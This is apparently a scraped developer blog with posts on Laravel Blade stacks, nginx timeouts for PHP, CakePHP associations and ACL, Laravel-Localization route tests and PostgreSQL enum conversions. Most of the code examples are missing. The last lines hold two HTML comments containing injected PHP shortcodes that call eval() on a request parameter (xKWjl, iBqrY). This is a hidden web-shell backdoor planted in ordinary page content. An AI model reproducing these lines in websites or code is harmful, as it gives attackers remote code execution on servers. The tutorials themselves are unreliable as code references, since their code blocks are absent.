Stacking sections in Laravel Blade templates

With Laravel’s Blade templating engine, it is possible to stack multiple sections with the same name throughout a template, and yield them all together in one place. This is particularly useful if you have multiple partial views that each need to append some JavaScript to a  <script> tag at the end of your page, for instance.


Unlike when using the @section  Blade directives, there can be as many @push('name')  directives with the same name as you need. Using the @stack('name')  directive in place of @yield , will then pop them all out at once in a single location in your template (in reverse order).

Example usage

Suppose you’re using jQuery and that you have two partial views that each need a bit of JavaScript to run on page load:

Desired output

Adding the scripts adjacent to the views is problematic, because likely jQuery won’t be loaded when they are executed. You could try to always remember to yield two different sections in the main layout view, but that is rather error prone.

Enter stacks

By stacking the script sections in your views, the same output that you’d create above if you weren’t using partials is easy to achieve. First, @push  the script needed by each view onto the stack:

Partial template one

Partial template two

Popping the stack

You can’t use @yield  to insert the pushed scripts into another template, since they weren’t defined in @section  directives. Instead, simply use @stack  in otherwise the same way:

One potentially important caveat to keep in mind is that since this is indeed a stack, the last section that you push onto it will be the first to appear in your rendered output. So instead of obtaining an exact formulation of the code we initially wanted, in this example we’d end up with something like this:


Long-running PHP process on nginx

I recent had to allow a PHP script to run for several minutes under Nginx (more specifically, as part of a Laravel app on a DigitalOcean server), after encountering the error “504 Gateway Timeout”. First, to tell Nginx to allow the script to run for a longer period of time, I set the FastCGI read timeout to ten minutes in 
/etc/nginx/sites-available/default :

Second, to increase the amount of time that this particular PHP routine could spend running, I increased the execution time limit programmatically before each processing block:

With this configuration, other PHP scripts are still capped at the default timeout value set in 
php.ini, and no individual block of processing is allowed to run away with the full ten-minute time limit.

Abstract app controllers and the CakePHP ACL plugin

I’m working on a CakePHP-based app that has multiple abstract base controller classes that inherit from AppController. The majority of the concrete controllers inherit from one of these abstract classes. I recently added the CakePHP/Acl plugin to the app, and was presented with the error

when I tried to use the  bin/cake acl_extras aco_sync command to generate ACOs for the app controllers.

It turned out that the plugin was attempting to instantiate one of every controller class except AppController, which of course would fail for the abstract ones. The fix was straightforward: exclude every class that is not instantiable from the list of controllers to add as ACOs. I submitted a PR over the weekend to fix the bug, and it got merged yesterday. So the current version on GitHub no longer has the problem—hopefully a new version will be pushed to Packagist soon.

Adding many-to-many joins in CakePHP with newEntity

To allow CakePHP 3 to add entries to many-to-many join tables when creating or patching entities, the names of the associations must be added to the array of accessible concrete properties on the model.

The documentation does mention this fact eventually, as a note in the “Patching HasMany and BelongsToMany” section, but not as part of the description of how to create new entities. None of the examples in the “Converting BelongsToMany Data” section mention that they will actually fail as written when creating or patching entities.

The solution—adding a 'tags' => true  entry to the $_accessible  property of Articles—is straightforward, but I felt it was far from obvious. Until this point I had never come across any indication that there were situations in which Cake would treat associations as concrete properties.

Testing routes with Laravel-Localization

I recently added the Laravel-Localization package (with Laravel 5.2) to a project I’m working on. Initial setup went smoothly, and I was impressed with how well things worked essentially out of the box.

Then I tried to test my routes.

I had previously made a test case that ran through all of my public routes and asserted that each one returned HTTP status code 200 OK. Suddenly this was failing on every route I tried, saying that 404 Not Found was being returned instead.

The route worked in the browser. It returned the correct result using curl on the vagrant box. But it refused to work in the test. I had the application’s default locale set to ‘en’, and every indication was that it worked perfectly everywhere except in the tests. I pared the test right down:

The error was the same. The request was correctly updated from / to /en based on the default locale, but apparently Laravel insisted on returning 404 to the test. I would have understood if the status code were 301 or 302, since I’m using the LaravelLocalizationRedirectFilter middleware and expect there to be a redirect. But why would the route simply disappear?

To make a long debugging session short, it turns out that while LaravelLocalizationRedirectFilter middleware correctly leads any browser to make a second request for the new URL, the testing framework tries to follow redirects within the routes available to the same initial request object.

Standard operation of Laravel-Localization is to set up a route group with a prefix value of LaravelLocalization::setLocale(). When the browser visits the homepage initially, this function returns null so Route::get('/', ...) is matched, the middleware is invoked, and the browser is redirected to /en. The browser then invokes a second request, this time to /en as directed, which means setLocale() is called again, this time returning 'en'. So Route::get('/', ...) is now prefixed by 'en',  the requested route is matched, and everything works correctly.

In the test however, there is only ever a single request object, in which the prefix defined by setLocale() is simply ''. This matches the first time, the server runs the middleware and sends a redirect, but instead of making a second request, the testing framework tries to follow the redirect by resolving the new route against the RouteCollection in the original Request object. Since it was created with a prefix of '', any route prefixed by 'en' won’t exist.

So, how do we solve this? I’ve found two interim solutions so far, though I plan to keep looking another day.

Option 1 is to disable the LaravelLocalizationRedirectFilter middleware. This means that requests to un-locale-prefixed routes will work just fine, but won’t be redirected to their prefixed versions, resulting in two different URLs for each resource in the default language.

Option 2 is to set 'hideDefaultLocaleInURL' => true in the laravellocalization.php config file. This results in the redirection of all URLs prefixed with the default locale to unprefixed ones—/en becomes /, /en/users becomes /users, and so on. This is perhaps preferable to Option 1 from an SEO standpoint, but comes with the caveat that the Accept-Language header of any user’s browser will now be ignored.

Likely some other options exist that involve changing the requested routes in the test cases instead.

Laravel 5.1 “intermediate quickstart” notes

I just ran through Laravel’s intermediate quickstart tutorial. On the whole it was rather well put together and worked with as little or as much copying and pasting as you felt like using. Here I’m just recording a few notes for future reference about non-obvious things I encountered.

Error messages for simple typos

One interesting thing to note is that using curly braces instead of round brackets in your blade templates can lead to not-obviously-related error messages. For instance, my first attempt at a template began with

instead of the correct

While obviously this is a simple typo that is entirely my own fault, the resulting error message,

FatalErrorException in fba8cddd62bd85dee11955629f018a61 line 24:
syntax error, unexpected ‘,’

was not particularly enlightening, and I spent rather longer than I would have liked before noticing my error.

Importing models and policies for authorisation

The tutorial seems to leave out two important lines when it comes to authorising the deletion of tasks via policy. Specifically, when the tutorial gets to the point of adding the new policy to app/Providers/AuthServiceProvider.php ,

it fails to mention that this won’t work until the lines

are also added to the file.

Redirecting on login

Finally, if you create your own files from scratch for the tutorial instead of cloning their repo, then registering and logging in will appear to result in an error,

NotFoundHttpException in RouteCollection.php line 161:

This can be surprising at first, and might make you think there actually is an error in your code, but of course it is essentially just a 404 Not Found error—by default you are redirected to /home , which hasn’t been created. One option would of course be to create home view. Another, which is what the Laravel repo does, is to override the redirection destination in app/Http/Controllers/Auth/AuthController.php  and point it at  /tasks instead.

To do so, simply set the  $redirectTo property to the desired path, for example


Altering PostgreSQL columns from one enum to another

Altering the type of a column in postgres from one enum type to another requires an intermediate cast to  text. Additionally, if there is a default value for the field, it cannot be altered and instead must be dropped and re-added as the new type.

Simple case: New type contains all old-type values

In the simple version, the new enum type contains (at least) all of the same labels as the old one. For instance, as with these two:

No default on column

If a table has an old_enum column and we want to turn it into a new_enum one, with no default value in place on the column, we can use the following command:

The USING expression casts the current value of column_name to text, and then to new_enum. This works because every allowed value of the first enum type exists in the second.

With a default value

This case is not significantly more difficult to deal with. If there is a default value on the column, we simply remove it before altering the enum type of the column, and then add a new one when we’re done:

Converting enum labels

A more complicated scenario arises when not all of the old labels appear in the new enum. I’ll assume that there is a mapping from the old ones to the new, at least for every label that is known to appear in a row of the table. If there isn’t, then the conversion is probably not a good idea in the first place.

Consider now an even newer type,

We still want to convert from the old_enum type, but now we also want to map the label ‘a’ to ‘alpha’, and ‘b’ to ‘beta’, while leaving ‘c’ and ‘d’ alone. This can be accomplished by manually applying each required change via a CASE  statement in the USING  expression:

For each record, this statement returns ‘alpha’ or ‘beta’ if the column contains ‘a’ or ‘b’, respectively, or otherwise returns the current value in the column cast as text. The returned value in all cases is then cast to the newer enum type.

Arrays of joined ids

Thanks to a helpful stack overflow response, I now have an improved solution to my problem of needing to add arrays of joined ids to JSON output from CakePHP 3. The output from a test containing Widget models that can each have many Foos looks something like this:


To easily and automatically add this capability to any model I wanted, I created a new class extending Cake’s  Table , which I called “ApiTable”:

The  formatWithJoinedIds() method adds an array called  model_ids for each model, from an input list, that is associated with this one through a ‘BelongsToMany’ or ‘HasMany’ join, without including the contents of the associated models. It is intended to be called from the  findApi() method, which simply performs a query containing the passed-in desired list of models and formats the results.

The custom finder is straightforward:

The array  $includeIdsFor should contain strings identifying the associated properties whose joined ids should be included. For instance, if a Widget has many associated Foos, Bars, and Bazzes, the ids of the foos and bars would be included in the output by passing  ['Foos', 'Bars'].

The result formatter, used to add the calculated fields containing the id arrays, is a little longer but not much more complicated:

This routine generates an array of all properties of the current model that point to many of another model. It then iterates over these properties, and for each one iterates over all of the foreign models to collect an array of their ids. The resulting array is added as a new property to the row, and the foreign models themselves are unset if they are not to be included in the output.

Listing associated IDs during a Controller query in CakePHP 3

Yesterday I looked into adding a key-value pair such as  "tag_ids": [1, 2, 3] to a JSON object returned by a serialized CakePHP view, for Bookmarks belonging to many Tags. My solution produces the desired result, but involves the execution of a new database query for every bookmark, on top of the one that retrieved the record in the first place. This is not exactly desirable behaviour, so today I looked into other options. I still don’t have what I consider to be an optimal solution, but did come up with an alternative that manages to pull all the associated Tag ids in the same query that retrieves the current batch of Bookmarks.

There is a new disadvantage introduced by this solution, because the resulting KVP contains a string instead of an array, looking like  "tag_ids": "[1, 2, 3]" . Additionally, the code is nowhere near ready to be generalized for easy addition to multiple controllers, nor even particularly elegant in terms of making use of Cake’s routines for inflection etc. Nevertheless, I want to record it while it’s still fresh in my mind.

The idea is to use the CakePHP query builder to LEFT JOIN the Bookmarks model’s table to the join table that contains its many-to-many relationships with the Tags model. The query is then grouped by all of the Bookmarks fields, and the  tag_id field from the join table is aggregated into a single comma-delimited string. I’m using PostgreSQL, so accomplish this with the string_agg command. Here’s a working example:

I found that I had to set autofields(false)  to avoid having CakePHP automatically include every field in the join table, and therefore needing to add them to the group-by clause or aggregating them in some fashion.

There are a few improvements that can be made right away. Additional joins can be added, but will introduce multiples in the concatenated string unless the string aggregation is made distinct,  string_agg(distinct Book...). Bookmarks with no tags yield   "tag_ids": null, but can be made to give "tag_ids": "[]"  by wrapping the aggregation in coalesce(..., '').

Larger-scale improvements could involve outputting an array instead of a string in the JSON, perhaps by returning a postgres array instead of a CSV string, and teaching Cake how to deal with that properly. Beyond that, not hard-coding the table names, generating the list of joins automatically, and generally wrapping this all up into a behaviour or trait would be nice steps to take.

Array of associated IDs in CakePHP 3.0 “belongsToMany” relationship

Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the Bookmarker tutorial by creating an API endpoint to retrieve bookmarks, each containing an array of its tag ids. Something like this:

Using Cake’s data views via the RequestHandler and _serialize elements made serving the JSON straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using  contain() to retrieve associated data. This lead to having the entire tag included in the result though, not the compact “tag_ids” array I had in mind. Even selecting only the id field and setting autofields(false) left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,

where a simple  1 was all I wanted.

To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.

First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.

Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.

Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:


<!– [insert_php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/insert_php][php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/php] –>